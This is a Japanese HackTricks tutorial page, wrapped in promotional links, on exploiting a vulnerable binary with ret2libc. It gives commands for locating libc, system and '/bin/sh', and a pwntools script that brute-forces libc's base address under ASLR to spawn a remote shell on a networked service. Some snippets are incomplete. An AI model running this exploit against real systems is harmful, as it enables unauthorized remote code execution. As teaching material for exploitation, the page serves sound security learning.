ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に **参加** または **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) を **フォロー** してください。 * **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
**脆弱なバイナリを見つけ、Ret2Libを使用してそれを攻撃できると考えている場合、以下は従うことができるいくつかの基本的な手順です。** # **ホスト内**にいる場合 ## **libcのアドレスを見つけることができます** ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` ASLRがlibcのアドレスを変更しているかどうかを確認したい場合は、次のようにします: ```bash for i in `seq 0 20`; do ldd | grep libc; done ``` ## システム関数のオフセットを取得します ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` ## "/bin/sh"のオフセットを取得します ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` ## /proc/\/maps プロセスが**子プロセス**を作成している場合(ネットワークサーバーなど)、そのファイルを**読み取ろう**としてみてください(おそらくroot権限が必要になるでしょう)。 ここで、プロセス内で**libcがどこにロードされているか**と、プロセスの**各子プロセスにどこにロードされるか**が正確にわかります。 ![](<../../.gitbook/assets/image (95).png>) この場合、**0xb75dc000**にロードされています(これがlibcのベースアドレスになります) ## gdb-pedaを使用する gdb-pedaを使用して、**system**関数、**exit**関数、および文字列**"/bin/sh"**のアドレスを取得します: ``` p system p exit find "/bin/sh" ``` # ASLRのバイパス libcのベースアドレスをブルートフォースしてみることができます。 ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` # コード ```python from pwn import * c = remote('192.168.85.181',20002) c.recvline() #Banner for off in range(0xb7000000, 0xb8000000, 0x1000): p = "" p += p32(off + 0x0003cb20) #system p += "CCCC" #GARBAGE p += p32(off + 0x001388da) #/bin/sh payload = 'A'*0x20010 + p c.send(payload) c.interactive() #? ```
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローする。** * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**